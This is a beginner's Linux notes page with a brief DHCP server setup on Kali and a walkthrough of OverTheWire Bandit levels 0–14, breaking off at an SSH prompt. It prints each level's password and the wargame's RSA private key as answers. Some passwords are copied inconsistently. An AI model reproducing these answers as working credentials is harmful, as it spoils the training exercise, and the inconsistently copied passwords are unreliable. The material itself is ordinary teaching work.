

Linux for beginners

This is to understand Linux from Start

- [How to make Kali a Gateway \(router\)](#)
- [How to configure DHCP in Linux](#)
- [Bandit](#)

How to make Kali a Gateway (router)

How to configure DHCP in Linux

```
sudo apt-get install isc-dhcp-server -y
```

```
sudo vim /etc/default/isc-dhcp-server
```

```
DHCPDv4_CONF=/etc/dhcp/dhcpd.conf
```

```
DHCPDv4_PID=/var/run/dhcpd.pid
```

```
INTERFACESv4="eth0"
```

```
sudo vim /etc/dhcp/dhcpd.conf
```

```
option routers IP_KALI;
```

```
option domain-name "kali.test";
```

```
option domain-name-servers 8.8.8.8, 8.8.4.4;
```

```
subnet 10.0.0.0 netmask 255.255.255.0 {
```

```
    range 10.0.0.50 10.0.0.100;
```

```
}
```

```
sudo service isc-dhcp-server start
```

Bandit

Bandit Level 0

```
ssh -p2220 bandit0@bandit.labs.overthewire.org
```

password of bandit0 - bandit0

Bandit Level 0 - Level 1

```
$ ssh -p2220 bandit0@bandit.labs.overthewire.org
```

```
bandit0@bandit:~$ cat /home/bandit0/readme
```

```
bandit0@bandit:~$ cat /home/bandit0/readme
```

Congratulations on your first steps into the bandit game!!

Please make sure you have read the rules at <https://overthewire.org/rules/>

If you are following a course, workshop, walkthrough or other educational activity, please inform the instructor about the rules as well and encourage them to contribute to the OverTheWire community so we can keep these games free!

The password you are looking for is: ZjLjTmM6FvvyRnrb2rfNWOZOTa6ip5If

password of bandit1 - ZjLjTmM6FvvyRnrb2rfNWOZOTa6ip5If

Bandit Level 1 - Level 2

```
$ ssh -p2220 bandit1@bandit.labs.overthewire.org
```

```
bandit1@bandit:~$ cat /home/bandit1/-
```

```
bandit1@bandit:~$ cat /home/bandit1/-  
263JGJPfgU6LtdEvgfWU1XP5yac29mFx
```

```
bandit1@bandit:~$ cat ./-
```

```
bandit1@bandit:~$ pwd  
/home/bandit1  
  
bandit1@bandit:~$ cat ./-  
263JGJPfgU6LtdEvgfWU1XP5yac29mFx
```

password of bandit2 - 263JGJPfgU6LtdEvgfWU1XP5yac29mFx

Bandit Level 2 - Level 3

```
$ ssh -p2220 bandit2@bandit.labs.overthewire.org
```

```
bandit2@bandit:~$ cat "spaces in this filename"
```

```
bandit2@bandit:~$ pwd  
/home/bandit2  
  
bandit2@bandit:~$ cat "spaces in this filename"  
MNk8KNH3Usiio41PRUEoDFPqfxLPISmx
```

password of bandit3 - MNk8KNH3Usiio41PRUEoDFPqfxLPISmx

Bandit Level 3 - Level 4

```
$ ssh -p2220 bandit3@bandit.labs.overthewire.org
```

```
bandit3@bandit:~$ cat ./inhere/...Hiding-From-You
```

```
bandit3@bandit:~$ pwd
```

```
/home/bandit3
```

```
bandit3@bandit:~$ ls -la
```

```
total 24
```

```
drwxr-xr-x 3 root root 4096 Sep 19 2024 .
```

```
drwxr-xr-x 70 root root 4096 Sep 19 2024 ..
```

```
-rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout
```

```
-rw-r--r-- 1 root root 3771 Mar 31 2024 .bashrc
```

```
drwxr-xr-x 2 root root 4096 Sep 19 2024 inhere
```

```
-rw-r--r-- 1 root root 807 Mar 31 2024 .profile
```

```
bandit3@bandit:~$ ls -la inhere/
```

```
total 12
```

```
drwxr-xr-x 2 root root 4096 Sep 19 2024 .
```

```
drwxr-xr-x 3 root root 4096 Sep 19 2024 ..
```

```
-rw-r----- 1 bandit4 bandit3 33 Sep 19 2024 ...Hiding-From-You
```

```
bandit3@bandit:~$ cat ./inhere/...Hiding-From-You
```

```
2WmrDFRmJlq3IPxneAaMGhap0pFhF3Nj
```

password of bandit4 - 2WmrDFRmJlq3IPxneAaMGhap0pFhF3Nj

Bandit Level 4 - Level 5

```
$ ssh -p2220 bandit4@bandit.labs.overthewire.org
```

```
bandit4@bandit:~$ find ./inhere/ -type f -exec file {} +
```

```
bandit4@bandit:~$ find ./inhere/ -type f -exec file {} +  
./inhere/-file08: data  
./inhere/-file02: data  
./inhere/-file09: data  
./inhere/-file01: data  
./inhere/-file00: data  
./inhere/-file05: data  
./inhere/-file07: ASCII text  
./inhere/-file03: data  
./inhere/-file06: data  
./inhere/-file04: data
```

./inhere/-file07: ASCII text

```
bandit4@bandit:~$ cat ./inhere/-file07  
4oQYVPkxZOOEOO5pTW81FB8j8lxXGUQw
```

password of bandit5 - 4oQYVPkxZOOEOO5pTW81FB8j8lxXGUQw

Bandit Level 5 - Level 6

```
$ ssh -p2220 bandit5@bandit.labs.overthewire.org
```

```
bandit5@bandit:~$ find ./ -type f -size 1033c -not -executable
```

```
bandit5@bandit:~$ find ./ -type f -size 1033c -not -executable  
./inhere/maybehere07/.file2
```

```
bandit5@bandit:~$ cat ./inhere/maybehere07/.file2  
HWasnPhtq9AVKe0dmk45nxy20cvUa6EG
```

bandit5@bandit:~\$

password of bandit6 - HWasnPhtq9AVKe0dmk45nxy20cvUa6EG

Bandit Level 6 - Level 7

\$ ssh -p2220 bandit6@bandit.labs.overthewire.org

**bandit6@bandit:~\$ find / -type f -size 33c -user bandit7 -group bandit6
2>/dev/null**

```
bandit6@bandit:~$ find / -type f -size 33c -user bandit7 -group bandit6 2>/dev/null  
/var/lib/dpkg/info/bandit7.password
```

```
bandit6@bandit:~$ cat /var/lib/dpkg/info/bandit7.password  
morbNTDkSW6jIUc0ymOdMaLnOIFVAaj
```

password of bandit7 - morbNTDkSW6jIUc0ymOdMaLnOIFVAaj

Bandit Level 7 - Level 8

\$ ssh -p2220 bandit7@bandit.labs.overthewire.org

bandit7@bandit:~\$ cat data.txt | grep millionth

```
bandit7@bandit:~$ cat data.txt | grep millionth
millionth dfwvzFQi4mU0wfNbFOe9RoWskMLg7eEc
```

password of bandit8 - dfwvzFQi4mU0wfNbFOe9RoWskMLg7eEc

Bandit Level 8 - Level 9

\$ ssh -p2220 bandit8@bandit.labs.overthewire.org

bandit8@bandit:~\$ cat data.txt | sort | uniq -c

```
bandit8@bandit:~$ cat data.txt | sort | uniq -c
10 0BKVRLEJQcpNx8wnSPxDLfnFKlQafKK6
10 0eJPctF8gK96ykGBBaKydhJgxSpTljtz
10 0kj7XHD4gVtNSZlpqyP1V45sfz9OBLFo
10 0lPOvKhpHZebxji0gdjtGCd5GWiZnNBj
10 0REUhKk0yMqQOwei6NK9ZqlpE5dVIWWM
10 1jfUH1m4XCjr7eWAeleGdaNSxFXRtX0l
10 1VKPEkd0bCtIRwMFVQfY7InulwOFyDsn
10 2u8fvAzvnaFlvQG3iPt4Wc1TFhPcGxhH
10 35l6mr3f6TvIjyDwU6aUgJX07cLhr6t9
10 3FlgajXBiaQAiTMVGo1gxRDSiACNyvvj
10 3mNA2le0gfURQKNHVIhGkMNLqLwjyyLN
1 4CKMh1Jl91bUIZZPXDqGanal4xvAg0JM
10 4P8FsHcdr7d5WKnPtAaXY5SsIKCd2gL
10 5EmwMKZHwF6Lwq5jHUaDlFjBeHbcX0b
10 5hYz0028e1Q2TrtPVz5GZbpMzZNjebhh
10 5l2jWpqjtVp576xXI2TLh1UCyXjtGQ78
10 6Boy6esAjnlxCYn8ul6KZ7VD7zysDM8i
10 7cP8ssLEIERHXqOJc9T84bxsmjBjNXk2
10 7qHmEo1FEbzthgyNpKc38YofXjYKZv18
10 8FcTUQIFXsjNneyiDY5KfE3vRy6sZFEJ
```

10 8pePxslMzXqA2mi87wFjxd44qDRdrPiW
10 9jfKbKGp40LjMuiiH9cce4bUo9y8nd0j
10 9PqZLdu143n5djN9mL1McamrmHERuV7k
10 9Tar2wcD3Urge6s2yp18CAE8zX1poUwV
10 A4MixXbxP5t0RE87qkmAdwwPJO3Aw6rO
10 aFStfHbnQdPWqyRHEzhqe91Wch4O8xHj
10 aMKITMrptUxxTypCHocCTrqYRkR2gT8h
10 AOz67fZdaabu2QQyatGXK1dXNUluyuOD
10 BIAAd2jxKMFmitEvp0WmsM0oDAwj4WSUa
10 BmwX4bYhJXylmwt4AVHr7wFyLYCn4lls
10 BooZo7QXA1Tft7d6zbVkgJiGoJzuBTX5
10 ByBO7V0FaYWN1cqIFbNss21xmjf9VNBP
10 CgUjZiluCoMEvzNAge1Nbv3g9tpLQQj2
10 CgvfWfmg5yxx12D2SZvjzaakG0Jlyg7B
10 cOk5XehQn4Uoz1z255BqS8y74pthqBeC
10 dPk8jhZUckmUiDsn4fXE28LpV5VTvev7
10 DShzsMw0ejGwWSFIlvAyblwBLKX6qVfF
10 EgKFNgP4k1pMfGdrWRSiDivSIAC0Tr42
10 EtevhzigGTVT4NbybBWK5DNXnPt2D5AM
10 fmt1Bzwt8Yw0t0cBVine7zuwyS76ij7N
10 fSbQqHX7C5Er4WmMSIQ9jkl05sXYQgJU
10 ft7OpREehafXGOiX8EtyzEqXU8f3KRug
10 GCajbpW4K28ukFR84YhZFY6e7MvAOwpX
10 GW8cRcKbnz53MAPYECx99O0T8POIPIfK
10 hevU1VzF39ZyhyYkCBgmVrY6DbiRt2t5
10 HloFLs5IpuFLuVjugBxKEipr5QaObJMk
10 iGmmKP7APsDfPxrZjCL7eDpGEWR3ot3q
10 IkJadTScldBQY9a4KVjBEHyXKubCxSlx
10 JaFwKSH0hiff1XRuxVYCzjtibV9P3zF
10 JQx6RCcNbAesB2lehrUI821WnJPI5gHW
10 K8GxBwF1vxLQB5PaqlcCGfRniemRScj4
10 kgf5CWcm26sycUzaAJRP7e6hYKVwu7Y4
10 KhRNo5JlbDhxbBqCGlokXqBm54v7Wunm
10 KqpxKPY3ylDdEVewlwuetpV0WvGlsN5U
10 KZJOZECxhLxDhxDbGzdNy8m0uplzvP11
10 L2iewY0ImIRR6arfrwWA3VhttgbJ0Nln
10 mMD5Z4y1rRh07rmVRw2HfgcMegbKH0c0
10 mUNISmDjtb3h6xAt3wGRVTY9U0r2u9bR
10 noa4sUvodl8D733ugvy2OAltHdjMPWJ
10 o44oO4jbyPqoQQYX16586yC7Os2uz3ks

10 omBfcRI91Zm06GI0RLngq05AMwe8Ndqo
10 PHE4soLmy3nZfNOIX3jB8LYKYZR XuTah
10 pij5cPfflOml4tkDCOwo7M2zyxImYJWm
10 PLsGPuNgYzl8Y Nu2Y7h4D4vz1nHPSuNI
10 pngaDVKjQWnWHOOUze15L3QpwqKme5M9
10 PRerp5EfTVxJHKuCZDXfAfRyCQSDpJMi
10 prq3SdTnv0vUmlcfcb4yvkI6GAXvtwWE
10 q3dcRUh6vecqwa2ahKdvWwJDon3qA1Xe
10 qEi18lw0ql0fe3fGMr6tTPpL6SbPMjk3
10 QPVchwY9MCJJ1W6kCWMncGWK2YfcUIFE
10 QQozajTq9wdmrO8AMwcl1i4EG0DA3I3a
10 QWumJVhaTjgcTVU6PILDgf5nPauD4VMm
10 RAM7IFRXtvR3BlgtbRU3dz5UxZYQQ06I
10 RAp5mFyjEBVSRTU203Y4Q1RDSlj7hN1v
10 rENclsy8XluTnTvJfXagTFpcd78FX8WM
10 rhquEZ5rMuUSRIxtG9DQ6KVOyqPpL0MP
10 RpRE5maDwMQTa8ojt7vVNqff7ElrjLTq
10 s8SnoFuk0jR1CTdQ7pctd67nakJWN2Vc
10 sapgezVFdEYdD3IkqFZGaXcKG4z5P4KR
10 sBDaWzvCbXUiXcP9to4j8o716bXI0inx
10 SCuPKgJN6pAfwgoCy2Ech2U0DTfriL9q
10 Sd14OpeUCugURrfuu47xRwMGB1U6OSzB
10 SeSKZp3f2Lo9JAKP17WmkD2Nnl6I5knE
10 SnF0df244Nioa8VK7fAC8dfc9jQpAx4Y
10 Su9w1lri9UACf53cL1evAMKXVgl0nfqe
10 tgHSfEXcbYCeJWXfsWDO4VXXbqtTVcqS
10 tVm8L7CmsGG0cox6GpzlkbQYI0Yavx6i
10 ULGqvJWOAtmPYINByDHwD0r9Mlf5niGK
10 UuNP4xguSOjcTHAzdtHBgm2eNz1Z5133
10 VPlmPWbTDtWppKumxNRUeeXklDk5GpRx
10 w6x5XtaoRWDqMCsYxgZIWuOKVdiGByAu
10 wcX8FCnaWngvBoYa5LrRIdsfRrr3C4kv
10 Wr4hWIUhGCKJpGDceio8C1pLVt7DZm3X
10 WVQJq1JYFGgtR69JgWxUAKPb0RaKc90J
10 xEkmXBLggW8r1aIEgwNX6ZIM6GGCsfmF
10 YbfajNckJrgh9TvEBScUaEUChRhDjcgIL
10 ylbAYB5vBiEAmViEQOBwITUwjSZkwC7Q
10 ysKmfYcysVfnViisRBcXzgjXMDgnKKv
10 YZMapJFORxWg84gej4UzQvGYSqBmsPOo
10 Z6SdYkOf5loRVj4uRk6cNiz10RfPnwNy

10 zokSjncDj1hdGEBE4feukfCtFmv82ZZ

bandit8@bandit:~\$ cat data.txt | sort | uniq -c | grep -v 10

bandit8@bandit:~\$ cat data.txt | sort | uniq -c | grep -v 10

1 4CKMh1Jl91bUIZZPXDqGanal4xvAg0JM

password of bandit9 - 4CKMh1Jl91bUIZZPXDqGanal4xvAg0JM

Bandit Level 9 - Level 10

\$ ssh -p2220 bandit9@bandit.labs.overthewire.org

bandit9@bandit:~\$ strings data.txt | grep "="

```
bandit9@bandit:~$ strings data.txt | grep "="
}===== the
p\|=
;c<Q=.dEXU!
3JprD===== passwordi
qC(=
~fDV3===== is
7=oc
zP=
~de=
3k=fQ
~o=0
69}=
%"=Y
=tZ~07
D9===== FGUW5iLVJrxX9kMYMmIN4MgbpfMiqey
N=~[!N
zA=?0j
```

password of bandit10 - FG UW5ilLVJrxX9kMYMmlN4MgbpfMiqey

Bandit Level 10 - Level 11

\$ ssh -p2220 bandit10@bandit.labs.overthewire.org

bandit10@bandit:~\$ base64 --decode data.txt

```
bandit10@bandit:~$ pwd
/home/bandit10
```

```
bandit10@bandit:~$ ls
data.txt
```

```
bandit10@bandit:~$ base64 --decode data.txt
The password is dtR173fZKb0RRsDFSGsg2RWnpNVj3qRr
```

password of bandit11 - dtR173fZKb0RRsDFSGsg2RWnpNVj3qRr

Bandit Level 11 - Level 12

\$ ssh -p2220 bandit11@bandit.labs.overthewire.org

bandit11@bandit:~\$ cat data.txt

```
bandit11@bandit:~$ pwd
/home/bandit11
```

```
bandit11@bandit:~$ ls -la
```

```
total 24
drwxr-xr-x  2 root  root  4096 Sep 19  2024 .
drwxr-xr-x 70 root  root  4096 Sep 19  2024 ..
-rw-r--r--  1 root  root   220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root  root  3771 Mar 31  2024 .bashrc
-rw-r-----  1 bandit12 bandit11  49 Sep 19  2024 data.txt
-rw-r--r--  1 root  root   807 Mar 31  2024 .profile
```

```
bandit11@bandit:~$ cat data.txt
```

```
Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4
```

Rotate 13 - Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Using the [decode.com](https://www.decode.com) page to rotate.

DenCode Enjoy encoding & decoding!

All String Number Date Color Cipher Hash

Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

UTF-8 UTF-16 UTF-32 ISO-8859-1 (Latin-1) CRLF (Win) LF (UNIX/Mac) CR (Old Mac) +01:00 Europe/Madrid

Decoded

Bin String

Hex String

HTML Escape Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

URL Encoding Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Punycode IDN Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Base32

Base45

Base45/Zlib/COSE/CBOR

Base64 d' m +Q /% n % U t C

Ascii85

Quoted-printable Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Unicode Escape Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Program String Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Morse Code Gurcnffjbeqv f7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Braille Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Unicode NFD Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Unicode NFKD Gur cnffjbeq vf 7k16JArUVv5LxVuJfsSVdbbtaHGlw9D4

Num from Dec

Num from Bin

Num from Oct

Num from Hex

Num from N-ary

Num from English

Num from Kanji

Caesar Jxu fqjimeht yi 7n16MDuXYy5OaYxMivVYgeewdK Joz9G4

ROT13 (A-Z) The password is 7x16WNeHli5YklhWsflqoognUTvj9Q4

ROT18 (A-Z, 0-9) The password is 2x61WNeHli0YklhWsflqoognUTyj4Q9

ROT47 (!--~) vFC 4?77;36B G7 F<`eypC&'Gd(l'Fy7D\$'533E2wv=Hhsc

bandit11@bandit:~\$ cat data.txt | tr [a-m][n-z] [n-z][a-m] | tr [A-M][N-Z] [N-Z][A-M]

bandit11@bandit:~\$ cat data.txt | tr [a-m][n-z] [n-z][a-m] | tr [A-M][N-Z] [N-Z][A-M]
The password is 7x16WNeHli5YklhWsflqoognUTyj9Q4

password of bandit12 - 7x16WNeHli5YklhWsflqoognUTyj9Q4

Bandit Level 12 - Level 13

```
$ ssh -p2220 bandit12@bandit.labs.overthewire.org
```

A file compressed many times with gzip, bzip2 and tar.

xxd is used to determine what type of file is

```
bandit12@bandit:~$ pwd
```

```
/home/bandit12
```

```
bandit12@bandit:~$ ls -la
```

```
total 24
```

```
drwxr-xr-x 2 root root 4096 Sep 19 2024 .
```

```
drwxr-xr-x 70 root root 4096 Sep 19 2024 ..
```

```
-rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout
```

```
-rw-r--r-- 1 root root 3771 Mar 31 2024 .bashrc
```

```
-rw-r----- 1 bandit13 bandit12 2583 Sep 19 2024 data.txt
```

```
-rw-r--r-- 1 root root 807 Mar 31 2024 .profile
```

```
bandit12@bandit:~$ mkdir /tmp/solution_level12
```

```
bandit12@bandit:~$ xxd -r data.txt > /tmp/solution_level12/data.txt
```

```
bandit12@bandit:~$ cd /tmp/solution_level12
```

```
bandit12@bandit:/tmp/solution_level12$ pwd
```

```
/tmp/solution_level12
```

```
bandit12@bandit:/tmp/solution_level12$ ls
```

```
data.txt
```

```
bandit12@bandit:/tmp/solution_level12$ ls -la
```

```
total 17016
```

```
drwxrwxr-x 2 bandit12 bandit12 4096 Mar 23 02:19 .
```

```
drwxrwx-wt 1 root root 17412096 Mar 23 02:19 ..
```

```
-rw-rw-r-- 1 bandit12 bandit12 607 Mar 23 02:19 data.txt
```

```
bandit12@bandit:/tmp/solution_level12$ file data.txt
```


data.txt: gzip compressed data, was "data2.bin", last modified: Thu Sep 19 07:08:15 2024, max compression, from Unix, original size modulo 2^32 574

```
bandit12@bandit:/tmp/solution_level12$ mv data.txt data.gz
```

```
bandit12@bandit:/tmp/solution_level12$ gunzip data.gz
```

```
bandit12@bandit:/tmp/solution_level12$ ls -la
```

```
total 17016
```

```
drwxrwxr-x 2 bandit12 bandit12  4096 Mar 23 02:20 .  
drwxrwx-wt 1 root    root    17412096 Mar 23 02:20 ..  
-rw-rw-r-- 1 bandit12 bandit12   574 Mar 23 02:19 data
```

```
bandit12@bandit:/tmp/solution_level12$ file data
```

```
data: bzip2 compressed data, block size = 900k
```

```
bandit12@bandit:/tmp/solution_level12$ mv data data.bz2
```

```
bandit12@bandit:/tmp/solution_level12$ bunzip2 data.bz2
```

```
bandit12@bandit:/tmp/solution_level12$ ls -la
```

```
total 17016
```

```
drwxrwxr-x 2 bandit12 bandit12  4096 Mar 23 02:21 .  
drwxrwx-wt 1 root    root    17412096 Mar 23 02:21 ..  
-rw-rw-r-- 1 bandit12 bandit12   432 Mar 23 02:19 data
```

```
bandit12@bandit:/tmp/solution_level12$ file data
```

```
data: gzip compressed data, was "data4.bin", last modified: Thu Sep 19 07:08:15 2024, max compression, from Unix, original size modulo 2^32 20480
```

```
bandit12@bandit:/tmp/solution_level12$ mv data data.gz
```

```
bandit12@bandit:/tmp/solution_level12$ gunzip data.gz
```

```
bandit12@bandit:/tmp/solution_level12$ ls -la
```

```
total 17032
```

```
drwxrwxr-x 2 bandit12 bandit12  4096 Mar 23 02:21 .  
drwxrwx-wt 1 root    root    17412096 Mar 23 02:21 ..  
-rw-rw-r-- 1 bandit12 bandit12 20480 Mar 23 02:19 data
```

```
bandit12@bandit:/tmp/solution_level12$ file data
```

```
data: POSIX tar archive (GNU)
```

```
bandit12@bandit:/tmp/solution_level12$ mv data data.tar
```

```
bandit12@bandit:/tmp/solution_level12$ tar -xf data.tar
```

```
bandit12@bandit:/tmp/solution_level12$ ls -la
```

```
total 17044
```

```
drwxrwxr-x 2 bandit12 bandit12  4096 Mar 23 02:22 .
```

```
drwxrwx-wt 1 root    root    17412096 Mar 23 02:22 ..
```

```
-rw-r--r-- 1 bandit12 bandit12 10240 Sep 19 2024 data5.bin
```

```
-rw-rw-r-- 1 bandit12 bandit12 20480 Mar 23 02:19 data.tar
```

```
bandit12@bandit:/tmp/solution_level12$ file data5.bin
```

```
data5.bin: POSIX tar archive (GNU)
```

```
bandit12@bandit:/tmp/solution_level12$ mv data5.bin data5.tar
```

```
bandit12@bandit:/tmp/solution_level12$ la -la
```

```
total 17044
```

```
drwxrwxr-x 2 bandit12 bandit12  4096 Mar 23 02:22 .
```

```
drwxrwx-wt 1 root    root    17412096 Mar 23 02:22 ..
```

```
-rw-r--r-- 1 bandit12 bandit12 10240 Sep 19 2024 data5.tar
```

```
-rw-rw-r-- 1 bandit12 bandit12 20480 Mar 23 02:19 data.tar
```

```
bandit12@bandit:/tmp/solution_level12$ tar -xf data5.tar
```

```
bandit12@bandit:/tmp/solution_level12$ ls -la
```

```
total 17048
```

```
drwxrwxr-x 2 bandit12 bandit12  4096 Mar 23 02:22 .
```

```
drwxrwx-wt 1 root    root    17412096 Mar 23 02:22 ..
```

```
-rw-r--r-- 1 bandit12 bandit12 10240 Sep 19 2024 data5.tar
```

```
-rw-r--r-- 1 bandit12 bandit12   221 Sep 19 2024 data6.bin
```

```
-rw-rw-r-- 1 bandit12 bandit12 20480 Mar 23 02:19 data.tar
```

```
bandit12@bandit:/tmp/solution_level12$ file data.tar
```

```
data.tar: POSIX tar archive (GNU)
```

```
bandit12@bandit:/tmp/solution_level12$ tar -xf data.tar
```

```
bandit12@bandit:/tmp/solution_level12$ ls -la
total 17060
drwxrwxr-x 2 bandit12 bandit12  4096 Mar 23 02:23 .
drwxrwx-wt 1 root    root    17412096 Mar 23 02:23 ..
-rw-r--r-- 1 bandit12 bandit12  10240 Sep 19  2024 data5.bin
-rw-r--r-- 1 bandit12 bandit12  10240 Sep 19  2024 data5.tar
-rw-r--r-- 1 bandit12 bandit12   221 Sep 19  2024 data6.bin
-rw-rw-r-- 1 bandit12 bandit12  20480 Mar 23 02:19 data.tar

bandit12@bandit:/tmp/solution_level12$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k

bandit12@bandit:/tmp/solution_level12$ mv data6.bin data6.bz2
```

```
bandit12@bandit:/tmp/solution_level12$ bunzip2 data6.bz2

bandit12@bandit:/tmp/solution_level12$ ls -la
total 17068
drwxrwxr-x 2 bandit12 bandit12  4096 Mar 23 02:24 .
drwxrwx-wt 1 root    root    17412096 Mar 23 02:24 ..
-rw-r--r-- 1 bandit12 bandit12  10240 Sep 19  2024 data5.bin
-rw-r--r-- 1 bandit12 bandit12  10240 Sep 19  2024 data5.tar
-rw-r--r-- 1 bandit12 bandit12  10240 Sep 19  2024 data6
-rw-rw-r-- 1 bandit12 bandit12  20480 Mar 23 02:19 data.tar

bandit12@bandit:/tmp/solution_level12$ file data6
data6: POSIX tar archive (GNU)

bandit12@bandit:/tmp/solution_level12$ mv data6 data6.tar
```

```
bandit12@bandit:/tmp/solution_level12$ tar -xf data6.tar

bandit12@bandit:/tmp/solution_level12$ ls -la
total 17072
drwxrwxr-x 2 bandit12 bandit12  4096 Mar 23 02:24 .
drwxrwx-wt 1 root    root    17412096 Mar 23 02:24 ..
-rw-r--r-- 1 bandit12 bandit12  10240 Sep 19  2024 data5.bin
-rw-r--r-- 1 bandit12 bandit12  10240 Sep 19  2024 data5.tar
-rw-r--r-- 1 bandit12 bandit12  10240 Sep 19  2024 data6.tar
```

```
-rw-r--r-- 1 bandit12 bandit12    79 Sep 19  2024 data8.bin
-rw-rw-r-- 1 bandit12 bandit12 20480 Mar 23 02:19 data.tar
```

```
bandit12@bandit:/tmp/solution_level12$ file data8.bin
```

```
data8.bin: gzip compressed data, was "data9.bin", last modified: Thu Sep 19 07:08:15 2024, max compression,
from Unix, original size modulo 2^32 49
```

```
bandit12@bandit:/tmp/solution_level12$ mv data8.bin data8.gz
```

```
bandit12@bandit:/tmp/solution_level12$ gunzip data8.gz
```

```
bandit12@bandit:/tmp/solution_level12$ ls -la
```

```
total 17072
```

```
drwxrwxr-x 2 bandit12 bandit12    4096 Mar 23 02:25 .
drwxrwx-wt 1 root    root    17412096 Mar 23 02:25 ..
-rw-r--r-- 1 bandit12 bandit12   10240 Sep 19  2024 data5.bin
-rw-r--r-- 1 bandit12 bandit12   10240 Sep 19  2024 data5.tar
-rw-r--r-- 1 bandit12 bandit12   10240 Sep 19  2024 data6.tar
-rw-r--r-- 1 bandit12 bandit12     49 Sep 19  2024 data8
-rw-rw-r-- 1 bandit12 bandit12 20480 Mar 23 02:19 data.tar
```

```
bandit12@bandit:/tmp/solution_level12$ file data8
```

```
data8: ASCII text
```

```
bandit12@bandit:/tmp/solution_level12$ cat data8
```

```
The password is FO5dwFsc0cbaliH0h8J2eUks2vdTDwAn
```

password of bandit13 - FO5dwFsc0cbaliH0h8J2eUks2vdTDwAn

Bandit Level 13 - Level 14

\$ ssh -p2220 bandit13@bandit.labs.overthewire.org

bandit13@bandit:~\$ cat sshkey.private

```
bandit13@bandit:~$ cat sshkey.private
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAxkkOE83W2cOT7IWhFc9aPaaQmQDdgzuXCv+ppZHa++buSkN+
gg0tcr7Fw8NLGa5+Uzec2rEg0WmeevB13AloYp0MZyETq46t+jk9puNwZwt9XgB
ZufGtZEwWbFWw/vVLNwOXBe4UWStGRWzgPpEeSv5Tb1VjLZIBdGphTIK22Amz6Zb
ThMsiMnyJafEwj/T8PQO3myS91vUHEuoOMAZoUID4kN0MEZ3+XahyK0HJVq68KsV
ObefXG1vvA3GAJ29kxjaqvRfgYnqZryWN7w3CHjNU4c/2Jkp+n8L0Snxana+WYA7
jiPyTF0is8uzMIYQ4l1Lzh/8/MpvhCQF8r22dwIDAQABAoIBAQC6dWBjhyEOzjeA
J3j/RWmap9M5zfj/wb2bfidNpwbB8rsj4sZIDZQ7Xulh4LfygoAQSS+bBw3RXvzE
pvJt3SmU8hIDuLsCjL1VnBY5pY7Bju8g8aR/3FyjyNAqx/TLfzILYfOu7i9Jet67
xAh0tONG/u8FB5I3LAI2Vp6OviwvdWeC4nOxChldpuPKNLA8rmMMVRTKQ+7T2VS
nXmwYckKUcUgzoVSpINZaS0zUDypdpy2+tRH3MQa5kqN1YKjvF8RC47woOYCKtsD
o3FFpGNFec9Taa3Msy+DfQqHhKZFKIL3bjDONtmrVvtYK40/yeU4aZ/HA2DQzwhe
ol1AfiEhAoGBAOnVjosBkm7sblK+n4IEwPxs8sOmhPnTDUy5WGrpSCrXOmsVIBUf
laL3ZGLx3xClwtCnEucB9DvN2HZkucp/h6hTKUYLqXuyLD8njTrbRhLgbC9QrKrS
M1F2fSTxVqPtZDIDMwjNR04xHA/fKh8bXXyTMqOHNJTHHNhbb3McdURjAoGBANKU
1hqfnw7+aXncJ9bjysr1ZWbqOE5Nd8AFgfwakuGTTVX2NsUQnCMWdOp+wFak40JH
PKWkJNdBG+ex0H9JNQsTK3X5PBMA8AfX0GrKeuwKWA6erytVTqjOfLYcdp5+z9s
8DtVCxDuVsM+i4X8UqIGOlvgbtKEVokHPFXP1q/dAoGAcHg5YX7WEehCgCYTzpO+
xysX8ScM2qS6xuZ3MqUWAxUWkh7NGZvhe0sGy9iOdANzwKw7mUUFViacMR/t54W1
GC83sOs3D7n5Mj8x3Nd08xFit7dT9a245TvaoYQ7KgmqpSg/ScKCw4c3eiLava+J
3btnJeSIU+8ZXq9XjPRpKwUCGyA7z6LiOQKxNeXH3qHXcnHok855maUj5fjNpPbY
iDkyZ8ySF8GlcFsky8Yw6fWCqfG3zDrohJ5I9JmEsBh7SadkwsZhvecQcS9t4vby
9/8X4jS0P8ibfckS4nBP+dT81kkg5Z5MohXBORA7VWx+ACohcDEkprsq+w32xeD
qT1EvQKBgQDKm8ws2ByvSUVs9GjTilCajFqLJ0eVYzRPaY6f++Gv/UVfAPV4c+S0
kAWpXbv5tbkzbs0eaLPTKgZlavXtQoTtKwrjpolHKIHUz6Wu+n4abfAIRFubOdN
/+aLoRQ0yBDRbdXMsZN/jvY44eM+xRLdRVyMmdPtP8belRi2E2aEzA==
-----END RSA PRIVATE KEY-----
```

Using the sshkey.private of bandit14 in the console of bandit13 login as bandit14 to the localhost on port 2220.

With the sshkey.private you will connect as bandit14.

bandit14@bandit:~\$ cat /etc/bandit_pass/bandit14

```
bandit14@bandit:~$ cat /etc/bandit_pass/bandit14
MU4VWeTyJk8ROof1qqmcBPALh7IDCPvS
```

password of bandit14 - MU4VWeTyJk8ROof1qqmcBPALh7IDCPvS

Bandit Level 14 - Level 15

Start the ssh connection as bandit14 after logging in as bandit13 and using the sshkey.private.

bandit13@bandit:~\$ ssh -p2220 -i sshkey.private bandit14@localhost

Note: The key is in bandit13 home directory. Initiate the login process after logging in as bandit13 and use the sshkey.private file.

```
bandit13@bandit:~$ ssh -p2220 -i sshkey.private bandit14@localhost
```

```
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
